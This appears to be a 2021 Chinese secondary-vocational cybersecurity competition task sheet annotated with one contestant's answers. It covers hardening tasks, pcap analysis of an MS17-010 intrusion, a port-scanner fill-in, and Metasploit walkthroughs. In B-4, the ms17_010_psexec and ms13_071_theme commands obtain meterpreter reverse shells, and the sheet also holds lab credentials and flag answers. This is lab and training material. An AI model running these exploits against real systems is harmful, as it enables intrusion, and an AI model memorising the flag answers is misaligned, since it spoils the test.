2021年中职组“网络安全”赛项
安庆市竞赛任务书
一、竞赛时间
总计:360分钟
二、竞赛阶段
| 竞赛阶段 | 任务阶段 | 竞赛任务 | 竞赛时间 | 分值 |
| A、B模块 | A-1 | 登录安全加固 | 180分钟 | 200分 |
| A-2 | Web安全加固(Web) | |||
| A-3 | 流量完整性保护与事件监控(Web,Log) | |||
| A-4 | 防火墙策略 | |||
| B-1 | 数据库服务渗透测试 | 400分 | ||
| B-2 | 攻击日志分析 | |||
| B-3 | Python渗透测试 | |||
| B-4 | Windows操作系统渗透测试 | |||
| 午餐 | 午餐 | 60分钟 | 0 | |
| C、D模块 | C模块 | CTF夺旗-攻击 | 180分钟 | 200分 |
| D模块 | CTF夺旗-防御 | 200分 | ||
三、竞赛任务书内容
(一)拓扑图
(二)A模块基础设施设置/安全加固(200分)
一、项目和任务描述:
假定你是某企业的网络安全工程师,对于企业的服务器系统,根据任务要求确保各服务正常运行,并通过综合运用登录和密码策略、流量完整性保护策略、事件监控策略、防火墙策略等多种安全策略来提升服务器系统的网络安全防御能力。
二、服务器环境说明
LOG:日志服务器(Splunk),操作系统为Linux
用户名:root密码:root
Web:IIS服务器,操作系统为Windows
用户名:administrator密码:P@ssw0rd
三、说明:
1.所有截图要求截图界面、字体清晰,并粘贴于相应题目要求的位置;
2.文件名命名及保存:网络安全模块A-XX(XX为工位号),PDF格式保存;
3.文件保存到U盘提交。
A-1:登录安全加固
请对服务器Web按要求进行相应的设置,提高服务器的安全性。
1.密码策略(Web)
a.最小密码长度不少于8个字符,将密码长度最小值的属性配置界面截图;
b.密码策略必须同时满足大小写字母、数字、特殊字符,将密码必须符合复杂性要求的属性配置界面截图。
2.登录策略(Web)
a.在用户登录系统时,应该有“For authorized users only”提示信息,将登录系统时系统弹出警告信息窗口截图;
b.一分钟内仅允许5次登录失败的尝试,超过5次,登录帐号锁定1分钟,将账户锁定策略配置界面截图;
c.远程用户非活动会话连接超时应小于等于5分钟,将RDP-Tcp属性对应的配置界面截图。
3.用户安全管理(Web)
a.对服务器进行远程管理安全性SSL加固,防止敏感信息泄露被监听,将RDP-Tcp属性对应的配置界面截图;
b.仅允许超级管理员账号关闭系统,将关闭系统属性的配置界面截图。
A-2:Web安全加固(Web)
1.为了防止web中.mdb数据库文件非法下载,请对Web配置文件进行安全加固,将C:WindowsSystem32inetsrvconfigapplicationHost配置文件中对应的部分截图;
2.限制目录执行权限,对picture和upload目录设置执行权限为无,将编辑功能权限的配置界面截图;
3.开启IIS的日志审计记录(日志文件保存格式为W3C,只记录日期、时间、客户端IP地址、用户名、方法),将W3C日志记录字段的配置界面截图;
4.为了减轻网站负载,设置网站最大并发连接数为1000,将编辑网站限制的配置界面截图;
5.防止文件枚举漏洞枚举网络服务器根目录文件,禁止IIS短文件名泄露,将配置命令截图;
6.关闭IIS的WebDAV功能增强网站的安全性,将警报提示信息截图。
A-3:流量完整性保护与事件监控(Web,Log)
1.为了防止密码在登录或者传输信息时被窃取,仅使用证书登录SSH(Log),将/etc/ssh/sshd_config配置文件中对应的部分截图;
2.将Web服务器开启审核策略
登录事件 成功/失败;
特权使用 成功;
策略更改 成功/失败;
进程跟踪 成功/失败;
将审核策略的配置界面截图;
3.配置Splunk接收Web服务器,安全日志,系统日志,CPU负载,内存,磁盘空间,网络状态。将转发器:部署成功的页面截图。
A-4:防火墙策略
所有服务器开启防火墙,为防止勒索病毒攻击对防火墙进行加固策略:
1.Windows系统禁用445端口,将防火墙入站规则截图;
2.Linux系统禁用23端口,将iptables配置命令截图;
3.Linux系统禁止别人ping通,将iptables配置命令截图;
4.Linux系统为确保安全禁止所有人连接SSH除了172.16.1.1这个ip,将iptables配置命令截图。
(二)B模块安全事件响应/网络安全数据取证/应用安全(400分)
B-1:数据库服务渗透测试
任务环境说明:
- 服务器场景:Server01
- 服务器场景操作系统:未知(关闭链接)
- 太简单了,就是湖南的环境 懒得写了
- 通过分析靶机Server01页面信息,寻找漏洞页面,将WEB服务存在SQL注入漏洞的页面名称作为Flag提交;
- 通过本地PC中的渗透测试平台Kali对靶机进行SQL注入攻击,获取靶机的数据库信息,将用来存放WEB服务的数据库名称作为Flag提交;
- 通过本地PC中的渗透测试平台Kali对靶机进行SQL注入攻击,获取靶机的数据库信息,将用来存放WEB服务用户的表名称作为Flag提交;
- 通过本地PC中的渗透测试平台Kali对靶机进行SQL注入攻击,获取靶机的数据库信息,将用来存放WEB登陆用户admin用户的明文密码作为Flag提交;
B-2:攻击日志分析
任务环境说明:
- 服务器场景:FTPServer0520
- 服务器场景操作系统:未知(关闭连接)
- FTP用户名:hacker1密码:hacker1
- 登录FTP下载数据包文件hacker1.pacapng,分析出黑客扫描得到的靶机开放的端口,将靶机开放的端口作为FLAG(形式:[端口名1,端口名2,端口名3…,端口名n])从低到高提交;首先看到这种找端口的题目,一般出题人用的都nmap。Nmap扫端口都是用同一个端口扫描,所以看[tcp]类型的包。
可以看见,全部都是一些端口往[33556]端口发送数据包,所以初步断定这个[dst]ip应该八成是黑客ip[192.168.1.10]
再次进行过滤[tcp.port==33556&&ip.src==192.168.1.10]
一般这种发送[RST]数据包的就是开放端口的,然后你也可以看右边,有颜色不同的,一般都是开放的端口
Flag{80,135,139,445,3389,49152,49153,49154,49155,49156,49157}
- 继续查看数据包文件hacker1.pacapng,分析出黑客成功入侵后获得的操作系统的版本号,将操作系统的版本号作为FLAG(形式:[操作系统版本号])提交;
- 这题一般不是FTP或SSH就是Telnet了但是
[Windows 7 or Windows Server 2008 R2] 以为是flag 但是这个是错误的
然后我在看了看别的协议,一个都没有,不经陷入了沉思。。。
{思路2:查看第一题,发现有445端口,而且还有4万一上的端口,我认为是台windows}
既然是windows7或者2008而且还开了445那八成一个就是一个17-010的数据包了,直接[tcp.port==4444]
随便找一个数据包,右键追踪流>tcp流
应该是答案了
Flag{ 6.1.7601}
- 继续查看数据包文件hacker1.pacapng,分析出黑客成功入侵后执行的第一条命令,并将执行的第一条命令作为FLAG(形式:[第一条命令])提交;
- 看上题也可以得出
- Flag{whoami}
- 继续查看数据包文件hacker1.pacapng,分析出黑客成功入侵后执行的第二条命令,并将执行的第二条命令作为FLAG(形式:[第二条命令])提交;
- 同上
- Flag{net user}
- 继续查看数据包文件hacker1.pacapng,分析出黑客成功入侵后执行的第一条命令的返回结果,并将执行的第一条命令返回结果作为FLAG(形式:[第二条
- 命令返回结果])提交;
- 同上
- Flag:[ win-k1unj4kn7qjadministrator]
- 继续查看数据包文件hacker1.pacapng,分析出黑客成功入侵后执行的第三条命令的返回结果,并将执行的第三条命令返回结果作为FLAG(形式:[第三条命令返回结果])提交。
- 同上
- Flag['pwd' ....................................................]
B-3:Python渗透测试
任务环境说明:
- 服务器场景:FTPServer0520
- 服务器场景操作系统:未知(关闭链接)
- FTP用户名:410密码:401
- 从靶机服务器的FTP上下载410.py,编辑Python程序410.py,使该程序实现基于TCP全开的端口扫描,填写该文件当中空缺的flag1字符串,将该字符串作为Flag值提交;
flag{IP}
- 继续编辑Python程序410.py,使该程序实现基于TCP/UDP全开的端口扫描,填写该文件当中空缺的flag2字符串,将该字符串作为Flag值提交
Flag{TCP}
- 继续编辑Python程序410.py,使该程序实现基于TCP全开的端口扫描,填写该文件当中空缺的flag3字符串,将该字符串作为Flag值提交;
- //提示说是 异常退出
所以flag 应该是 sys.exit(1)
- 继续编辑Python程序410.py,使该程序实现基于TCP全开的端口扫描,填写该文件当中空缺的flag4字符串,将该字符串作为Flag值提交;
- flag4被包进range()方法里面所以是个[int]类型,然后再分析这一段
- 发现是输入传参
应该是用 [sys.argv(),第一个是给了ip,然后第二个和第三个是端口,
但是[sys.argv]返回的值是[str]类型所以用到 [int()]方法转换为int类型
Flag{int(sys.argv[2])}
- 继续编辑Python程序410.py,使该程序实现基于TCP全开的端口扫描,填写该文件当中空缺的flag5字符串,将该字符串作为Flag值提交;
- 因为python range()方法获取的值是 x,y-1,就是说后一位数最后实际是到达不了的会,列如
// range(1,10) 实际上就是 1-9,所以就是为什么 后面要+1,这个比较细
Flag{int(sys.argv[3])+1}
- 继续编辑Python程序410.py,使该程序实现基于TCP全开的端口扫描,填写该文件当中空缺的flag6字符串,将该字符串作为Flag值提交;
- 这个flag7 也没什么好说的
#python2.7
a = 123
b = type(str(a))
print type(b)
//返回值为:
所以直接写一个 [type(resp)]是不对的返回值不是[str]类型
得 加上 [str()]方法
Flag{str(type(resp))}
- 继续编辑Python程序410.py,使该程序实现基于TCP全开的端口扫描,填写该文件当中空缺的flag7字符串,将该字符串作为Flag值提交;
这个其实自己最好可以去抓一下哪个[nmap]扫描端口的数据包,自己分析一下
来看这两个包,[79]端口关闭 [80]端口开放 看详细信息:下面这个是[79]
这个是[80]
分析总结:
1,数据包发送的协议不同
2,数据包的flags不同
3,TCP flags的结果也不同
得出:开放端口的[flags]为0x012,关闭端口的为[0x014];
TCP Flags开放的为AS 关闭的为AR
我一开始flag7 flag8填写的都是 AS 和 AR因为自己也写了一个类似的脚本,当时还是错的,发现得填写 0x12和0x14才可以 (前面的0去掉是多余的)
Flag{0x12}
- 继续编辑Python程序410.py,使该程序实现基于TCP全开的端口扫描,填写该文件当中空缺的flag8字符串,将该字符串作为Flag值提交;
- 同上题
Flag{0x14}
- 继续编辑Python程序410.py,使该程序实现基于TCP全开的端口扫描,填写该文件当中空缺的flag9字符串,将该字符串作为Flag值提交。
这个提示为 正常退出 所以说
flag应该就是 退出函数几个 [exit,quit,sys.exit(0),os.exit]
sys.exit(0)和sys.exit(1)是有区别的 //自己去百度吧
Flag{sys.exit(0)}
- 继续编辑Python程序410.py,使该程序实现基于TCP全开的端口扫描,填写该文件当中空缺的flag10字符串,将该字符串作为Flag值提交。
这个当时看的我一脸懵逼
这个是返回来的一个对象看来看去应该也就[resp]//是题目中的一个变量
Flag[resp]
B-4:Windows操作系统渗透测试
任务环境说明:
- 服务器场景名:Server02
- 服务器场景操作系统:未知(关闭链接)
- 通过本地PC中渗透测试平台Kali对服务器场景进行系统服务及版本扫描渗透测试,并将该操作显示结果中8080端口对应的服务版本信息字符串作为Flag提交;
方法1:
这题没什么好讲的就是用MSF模块
渗透使用 MSF: exploit/windows/smb/ms17_010_psexec
msf6 > use exploit/windows/smb/ms17_010_psexec
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_psexec) > set rhosts 192.168.0.215
rhosts => 192.168.0.215
msf6 exploit(windows/smb/ms17_010_psexec) > exploit
方法2:
MSF:exploit/windows/fileformat/ms13_071_theme
MSF:auxiliary/admin/smb/ms17_010_command
这个得开两个终端
终端1:
Msfconsole
Searsh ms13-071
Use exploit/windows/fileformat/ms13_071_theme
Expload
输出:
msf6 exploit(winzdows/fileformat/ms13_071_theme) > [*] Started service listener on 192.168.16.145:445
[*] Server started.
[*] Malicious SCR available on \192.168.16.145ttDSvDmsf.scr...
[*] Creating 'msf.theme' file ...
[+] msf.theme stored at /root/.msf4/local/msf.theme //开始监听
把紫色的地方复制一下
终端2:
Msfconsole
Search ms17-010
Use auxiliary/admin/smb/ms17_010_command
Set command \192.168.16.145ttDSvDmsf.scr
set rhosts 192.168.16.215
exploit
然后回到终端1发现已经成功获得一个shell会话
终端1:
Session 1
[*] Starting interaction with 1...
meterpreter >
ok下面这些题目是个人都做得出来,懒得说了
这个可以直接获取shell
Flag{Microsoft IIS httpd 6.0}
- 通过本地PC中渗透测试平台Kali对服务器场景进行渗透测试,将该场景桌面上111文件夹唯一一个后缀为.docx文件的文件名称作为Flag提交;
- Flag{e7a70fa81a5935b7}
通过本地PC中渗透测试平台Kali对服务器场景进行渗透测试,将该场景桌面上111文件夹唯一一个后缀为.docx文件的内容作为Flag提交;
Flag{7fc56270e7a70fa81a5935b72eacbe29}
- 通过本地PC中渗透测试平台Kali对服务器场景进行渗透测试,将该场景桌面上222文件夹中唯一一个图片的英文单词作为Flag提交;
- Flag{security}
- 通过本地PC中渗透测试平台Kali对服务器场景进行渗透测试,将该场景回收站内文件的文档内容作为Flag提交;
- Flag{92eb5ffee6ae2fec3ad71c777531578f}
(三)模块C CTF夺旗-攻击
(本模块200分)
一、项目和任务描述:
假定你是某企业的网络安全渗透测试工程师,负责企业某些服务器的安全防护,为了更好的寻找企业网络中可能存在的各种问题和漏洞。你尝试利用各种攻击手段,攻击特定靶机,以便了解最新的攻击手段和技术,了解网络黑客的心态,从而改善您的防御策略。
请根据《赛场参数表》提供的信息,在客户端使用谷歌浏览器登录攻击机。
二、操作系统环境说明:
客户机操作系统:Windows 10/Windows7
靶机服务器操作系统:Linux/Windows
三、漏洞情况说明:
1.服务器中的漏洞可能是常规漏洞也可能是系统漏洞;
2.靶机服务器上的网站可能存在命令注入的漏洞,要求选手找到命令注入的相关漏洞,利用此漏洞获取一定权限;
3.靶机服务器上的网站可能存在文件上传漏洞,要求选手找到文件上传的相关漏洞,利用此漏洞获取一定权限;
4.靶机服务器上的网站可能存在文件包含漏洞,要求选手找到文件包含的相关漏洞,与别的漏洞相结合获取一定权限并进行提权;
5.操作系统提供的服务可能包含了远程代码执行的漏洞,要求用户找到远程代码执行的服务,并利用此漏洞获取系统权限;
6.操作系统提供的服务可能包含了缓冲区溢出漏洞,要求用户找到缓冲区溢出漏洞的服务,并利用此漏洞获取系统权限;
7.操作系统中可能存在一些系统后门,选手可以找到此后门,并利用预留的后门直接获取到系统权限。
四、注意事项:
1.不能对裁判服务器进行攻击,警告一次后若继续攻击将判令该参赛队离场;
2.flag值为每台靶机服务器的唯一性标识,每台靶机服务器仅有1个;
3.选手攻入靶机后不得对靶机进行关闭端口、修改密码、重启或者关闭靶机、删除或者修改flag、建立不必要的文件等操作;
4.在登录自动评分系统后,提交靶机服务器的flag值,同时需要指定靶机服务器的IP地址;
5.赛场根据难度不同设有不同基础分值的靶机,对于每个靶机服务器,前三个获得flag值的参赛队在基础分上进行加分,本阶段每个队伍的总分均计入阶段得分,具体加分规则参照赛场评分标准;
6.本环节不予补时。
(四)模块D CTF夺旗-防御
(本模块200分)
一、项目和任务描述:
假定各位选手是某安全企业的网络安全工程师,负责若干服务器的渗透测试与安全防护,这些服务器可能存在着各种问题和漏洞。你需要尽快对这些服务器进行渗透测试与安全防护。每个参赛队拥有专属的堡垒机服务器,其他队不能访问。参赛选手通过扫描、渗透测试等手段检测自己堡垒服务器中存在的安全缺陷,进行针对性加固,从而提升系统的安全防御性能。
请根据《赛场参数表》提供的信息,在客户端使用谷歌浏览器登录需要加固的堡垒服务器。
二、操作系统环境说明:
客户机操作系统:Windows 10/Windows7
堡垒服务器操作系统:Linux/Windows
三、漏洞情况说明:
1.堡垒服务器中的漏洞可能是常规漏洞也可能是系统漏洞;
2.堡垒服务器上的网站可能存在命令注入的漏洞,要求选手找到命令注入的相关漏洞,利用此漏洞获取一定权限;
3.堡垒服务器上的网站可能存在文件上传漏洞,要求选手找到文件上传的相关漏洞,利用此漏洞获取一定权限;
4.堡垒服务器上的网站可能存在文件包含漏洞,要求选手找到文件包含的相关漏洞,与别的漏洞相结合获取一定权限并进行提权;
5.操作系统提供的服务可能包含了远程代码执行的漏洞,要求用户找到远程代码执行的服务,并利用此漏洞获取系统权限;
6.操作系统提供的服务可能包含了缓冲区溢出漏洞,要求用户找到缓冲区溢出漏洞的服务,并利用此漏洞获取系统权限;
7.操作系统中可能存在一些系统后门,选手可以找到此后门,并利用预留的后门直接获取到系统权限。
四、注意事项:
1.每位选手需要对加固点和加固过程截图,并自行制作系统防御实施报告,最终评分以实施报告为准;
2.系统加固时需要保证堡垒服务器对外提供服务的可用性;
3.不能对裁判服务器进行攻击,警告一次后若继续攻击将判令该参赛队离场;
4.本环节不予补时。
二、说明:
1.所有截图要求截图界面、字体清晰;
2.文件名命名及保存:网络安全模块D-XX(XX为工位号),PDF格式保存;
3.文件保存到U盘提交。



